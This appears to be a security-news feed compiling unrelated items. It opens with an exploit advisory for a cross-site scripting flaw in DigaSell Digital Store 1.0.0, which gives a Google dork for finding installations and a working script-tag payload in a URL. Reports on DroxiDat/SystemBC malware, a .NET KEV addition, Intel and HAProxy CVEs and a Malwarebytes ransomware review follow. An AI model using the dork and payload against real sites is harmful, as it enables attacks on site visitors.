DigaSell Digital Store PHP Script version 1.0.0 suffers from a cross site scripting vulnerability.

**DigaSell Digital Store PHP Script 1.0.0 Cross Site Scripting**

Posted Aug 11, 2023

Authored by indoushka

DigaSell Digital Store PHP Script version 1.0.0 suffers from a cross site scripting vulnerability.

tags | exploit, php, xss

SHA-256 | f72dfd55d23408ab5429974dee598db6c2f5f4c1ad279051decdd75964ab240b

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**DigaSell Digital Store PHP Script 1.0.0 Cross Site Scripting**

    ====================================================================================================================================| # Title     : DigaSell - Digital store PHP Script V1.0.0 XSS Vulnerability                                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0(64-bit)                                               | | # Vendor    : https://codecanyon.net/item/digasell-digital-store-php-script/23580305?s_rank=2                                    |  | # Dork      : "Copyright  © DigaSell All Rights Reserved."                                                                       |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /browse/tags/if<script>alert(/indoushka/);</script>=2                  [+] Panel       : https://127.0.0.1/codsemcom/digasell/browse/tags/if%3Cscript%3Ealert(/indoushka/);%3C/script%3E=2Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

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DigaSell Digital Store PHP Script 1.0.0 Cross Site Scripting

Cross site scripting vulnerability in web portal in Snow Software License Manager from version 9.0.0 up to and including 9.30.1 on Windows allows an authenticated user with high privileges to trigger cross site scripting attack via the web browser

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CVE-2023-3937: Snow Globe Community

An unknown threat actor has been linked to a cyber attack on a power generation company in South Africa with a new variant of the SystemBC malware called DroxiDat as a precursor to a suspected ransomware attack.
"The proxy-capable backdoor was deployed alongside Cobalt Strike Beacons in a South African nation's critical infrastructure," Kurt Baumgartner, principal security researcher at

An unknown threat actor has been linked to a cyber attack on a power generation company in southern Africa with a new variant of the SystemBC malware called **DroxiDat** as a precursor to a suspected ransomware attack.

"The proxy-capable backdoor was deployed alongside Cobalt Strike Beacons in a south African nation's critical infrastructure," Kurt Baumgartner, principal security researcher at Kaspersky's Global Research and Analysis Team (GReAT), said.

The Russian cybersecurity company said the attack, which took place in late March 2023, was in its early stages and involved the use of DroxiDat to profile the system and proxy network traffic using the SOCKS5 protocol to and from command-and-control (C2) infrastructure.

SystemBC is a C/C++-based commodity malware and remote administrative tool that was first seen in 2019. Its main feature is to set up SOCKS5 proxies on victim computers that can then be used by threat actors to tunnel malicious traffic associated with other malware. Newer variants of the malware can also download and run additional payloads.

The use of SystemBC as a conduit for ransomware attacks has been documented in the past. In December 2020, Sophos revealed ransomware operators' reliance on SystemBC RAT as an off-the-shelf Tor backdoor for Ryuk and Egregor infections.

"SystemBC is an attractive tool in these types of operations because it allows for multiple targets to be worked at the same time with automated tasks, allowing for hands-off deployment of ransomware using Windows built-in tools if the attackers gain the proper credentials," the company said at the time.

DroxiDat's links to ransomware deployment stem from a healthcare-related incident involving DroxiDat around the same timeframe in which the Nokoyawa ransomware is said to have been delivered alongside Cobalt Strike.

The malware employed in the attack is both compact and lean when compared to SystemBC, stripped off most of the functionality associated with the latter to act as a simple system profiler and exfiltrate the information to a remote server.

"It provides no download-and-execute capabilities, but can connect with remote listeners and pass data back and forth, and modify the system registry," Baumgartner said.

The identity of the threat actors behind the wave of attacks is currently unknown, although existing evidence points to the likely involvement of Russian ransomware groups, specifically FIN12 (aka Pistachio Tempest), which is known to deploy SystemBC alongside Cobalt Strike Beacons to deploy ransomware.

The development comes as the number of ransomware attacks targeting industrial organizations and infrastructure has doubled since the second quarter of 2022, jumping from 125 in Q2 2022 to 253 in Q2 2023, according to Dragos. The figure is also an 18% increase from the previous quarter, when 214 incidents were identified.

"Ransomware will continue to disrupt industrial operations, whether through the integration of operational technology (OT) kill processes into ransomware strains, flattened networks allowing ransomware to spread into OT environments, or precautionary shutdowns of production by operators to prevent ransomware from spreading to industrial control systems," the company assessed with high confidence.

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New SystemBC Malware Variant Targets South African Power Company

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added a recently patched security flaw in Microsoft's .NET and Visual Studio products to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation.
Tracked as CVE-2023-38180 (CVSS score: 7.5), the high-severity flaw relates to a case denial-of-service (DoS) impacting .NET and Visual Studio.
It

Endpoint Security / Vulnerability

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added a recently patched security flaw in Microsoft's .NET and Visual Studio products to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation.

Tracked as CVE-2023-38180 (CVSS score: 7.5), the high-severity flaw relates to a case denial-of-service (DoS) impacting .NET and Visual Studio.

It was addressed by Microsoft as part of its August 2023 Patch Tuesday updates shipped earlier this week, tagging it with an "Exploitation More Likely" assessment.

While exact details surrounding the nature of exploitation are unclear, the Windows maker has acknowledged the existence of a proof-of-concept (PoC) in its advisory. It also said that attacks leveraging the flaw can be pulled off without any additional privileges or user interaction.

"Proof-of-concept exploit code is available, or an attack demonstration is not practical for most systems," the company said. "The code or technique is not functional in all situations and may require substantial modification by a skilled attacker."

Affected versions of the software include ASP.NET Core 2.1, .NET 6.0, .NET 7.0, Microsoft Visual Studio 2022 version 17.2, Microsoft Visual Studio 2022 version 17.4, and Microsoft Visual Studio 2022 version 17.6.

To mitigate potential risks, CISA has recommended Federal Civilian Executive Branch (FCEB) agencies to apply vendor-provided fixes for the vulnerability by August 30, 2023.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

CISA Adds Microsoft .NET Vulnerability to KEV Catalog Due to Active Exploitation

Uncontrolled search path element for some Intel(R) Server Board M10JNP2SB integrated BMC video drivers before version 3.0 for Microsoft Windows and before version 1.13.4 for linux may allow an authenticated user to potentially enable escalation of privilege via local access.

CVE-2023-34355

Improper access control in the Intel(R) Unite(R) Hub software installer for Windows before version 4.2.34962 may allow an authenticated user to potentially enable escalation of privilege via local access.

CVE-2023-25773

Improper authorization in the Intel(R) NUC Pro Software Suite for Windows before version 2.0.0.9 may allow a privileged user to potentially enable escalation of privilage via local access.

CVE-2023-28385

Improper access control in firmware for some Intel(R) PROSet/Wireless WiFi software for Windows before version 22.220 HF (Hot Fix) may allow a privileged user to potentially enable escalation of privilege via local access.

CVE-2023-28714

Categories: Threat Intelligence
July saw one of the highest number of ransomware attacks in 2023 at 441. At the forefront of these attacks is, once again, Cl0p.



(Read more...)




The post Ransomware review: August 2023 appeared first on Malwarebytes Labs.

_This article is based on research by Marcelo Rivero, Malwarebytes' ransomware specialist, who monitors information published by ransomware gangs on their Dark Web sites. In this report, "known attacks" are those where the victim **did not** pay a ransom. This provides the best overall picture of ransomware activity, but the true number of attacks is far higher._

July saw one of the highest number of ransomware attacks in 2023 at 441, second only to a record-breaking 556 attacks in May. At the forefront of these attacks is, once again, Cl0p.

In June, Cl0p shot to the top of the charts due to their use of a zero-day exploit in MOVEit Transfer, and the story in July is no different. Using the same vulnerability, the gang attacked an additional 170 victims in July—the second highest number of attacks by a single gang all year, just two shy of MalasLockers' record in May.

Amidst all the Cl0p chaos, however, a familiar foe seems to be quietly waning: LockBit.

Known ransomware attacks by gang, July 2023

The LockBit gang is experiencing a steady four-month decline in the number of attacks it has carried out. Since April 2023, we’ve observed an average decrease of 20 attacks a month from the group. LockBit’s 107 attacks in April to 41 in July represents a 62 percent dip in activity.

We’ve seen a similar pattern from LockBit before, and it’s not unusual for ransomware gang activity to ebb and flow. Still, it’s worth mentioning that a suspected LockBit affiliate was arrested last month. At least LockBit’s July numbers, then, could be explained by them simply wanting to lay low for a bit.

When another LockBit suspected affiliate was arrested in November 2022, we also saw a similar historic low in activity from the group.

**"Big game hunting" numbers**

Research published in July by Chainanalysis showed that ransomware gangs raked in around $449 million from victims in the last six months. The driving force behind this huge number? Chainanalysis says it is “big game hunting.” the practice of targeting large, financially well-off corporations in order to secure the biggest possible payouts.

Chainanalysis also mentions an increase in payouts less than $1000, meaning smaller companies are still being targeted by ransomware gangs as well.

At around this same time last year, total payouts were slightly under $300 million—a difference of over $150 million.

One possible reason for this increase, says Chainanalysis, could be that because fewer and fewer firms are willing to pay the ransom, ransomware gangs are increasing the size of their ransom demands, the idea being to squeeze the most money possible out of the firms still willing to pay.

Malwarebytes' own data suggests that the increase in payouts could also be a simple consequence of there being more ransomware attacks in general. From March 2022 to July 2022, Malwarebytes recorded a total of 1,140 ransomware attacks. From March 2023 to July 2023, we recorded a total of 2,130.

Likely, there’s a combination of factors at play here. Our logic goes as follows:

> Bigger targets + greedier gangs + more ransomware attacks in general = Historically high payouts.

Known ransomware attacks by country, July 2023

Attacks on the US and UK are at a four-month high. Four-mouth trends on attacks in Italy, on the other hand, suggest that the country is a new regular in the monthly "Top Five" of most-attacked countries.

Known ransomware attacks by industry sector, July 2023

In an article published in October of last year, we speculated on the future evolution of ransomware and how, with the rise of double-extortion schemes, more and more gangs might pivot away from using encryptors entirely. Interestingly, new research last month by Huntress seems to support this idea—exemplified by the most active ransomware gang today no less.

In their massive zero-day exploitation sprees, **Cl0p has apparently not deployed ransomware at all**. Instead, the group has focused on simply stealing company data to then later use as leverage against victims.

This move represents a significant departure from the majority of top ransomware gangs, and it forces organizations to rethink the nature of the problem: i’s not about ransomware per se, it’s about an intruder in your network. The really dangerous thing is turning out to be the access, not the ransomware software itself. 

Cl0p's focus on exploiting zero-days for initial access is revolutionary on its own. Pairing this with a pure data-exfiltration approach could signal an even bigger paradigm shift in how ransomware gangs operate into the future.

Speaking of innovations from top gangs, last month ALPHV was observed offering an API for their data leak site. 

The new API is a conduit for swift data dissemination, helping other cybercriminals instantly access and distribute the stolen information on the dark web. The overarching goal here —especially considering that ALPHV failed to seek a ransom from recently-breached cosmetics company Estee Lauder—seems to be to pressure victims to pay as stolen data reaches wider audiences.

Time will tell if the move pays off, but if nothing else, it signals cybercriminal desperation amid declining ransomware payments.

**New players****CATCUS **

CACTUS emerged in March 2023 as a fresh strain of ransomware, zeroing in on large-scale commercial operations. Last month, they published 18 victims on their leak site.

To infiltrate systems, this gang exploits well-known vulnerabilities present in VPNs. Once CACTUS operatives gain access to a network, they enumerate local and network user accounts and reachable endpoints. Following this, they craft new user accounts and deploy their ransomware encryptor. The uniqueness of CACTUS lies in their use of specialized scripts that automate the release and activation of the ransomware through scheduled tasks.

The CACTUS leak site

**Cyclops/Knight **

Though the underworld caught wind of Cyclops in May 2023, it's only recently that evidence of their activities surfaced as new victims' details appeared on their dark web portal. In addition, they've announced a shift in branding to "Knight." Last month, they published 6 victims on their leak site.

This ransomware is versatile, capable of compromising Windows, Linux, and macOS systems alike. Cyclops stands out with its intricate encryption methodology, which mandates a unique key to decrypt the execution binary. Cyclops also comes equipped with a distinct stealer component designed to extract and transfer sensitive information.

The Cyclops/Knight leak site

**How to avoid ransomware**

*   **Block common forms of entry**. Create a plan for patching vulnerabilities in internet-facing systems quickly; disable or harden remote access like RDP and VPNs; use endpoint security software that can detect exploits and malware used to deliver ransomware.
*   **Detect intrusions**. Make it harder for intruders to operate inside your organization by segmenting networks and assigning access rights prudently. Use EDR or MDR to detect unusual activity before an attack occurs.
*   **Stop malicious encryption**. Deploy Endpoint Detection and Response software like Malwarebytes EDR that uses multiple different detection techniques to identify ransomware, and ransomware rollback to restore damaged system files.
*   **Create offsite, offline backups**. Keep backups offsite and offline, beyond the reach of attackers. Test them regularly to make sure you can restore essential business functions swiftly.
*   **Don’t get attacked twice.** Once you've isolated the outbreak and stopped the first attack, you must remove every trace of the attackers, their malware, their tools, and their methods of entry, to avoid being attacked again.

Malwarebytes EDR and MDR removes all remnants of ransomware and prevents you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.

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Ransomware review: August 2023

HAProxy through 2.0.32, 2.1.x and 2.2.x through 2.2.30, 2.3.x and 2.4.x through 2.4.23, 2.5.x and 2.6.x before 2.6.15, 2.7.x before 2.7.10, and 2.8.x before 2.8.2 forwards empty Content-Length headers, violating RFC 9110 section 8.6. In uncommon cases, an HTTP/1 server behind HAProxy may interpret the payload as an extra request.

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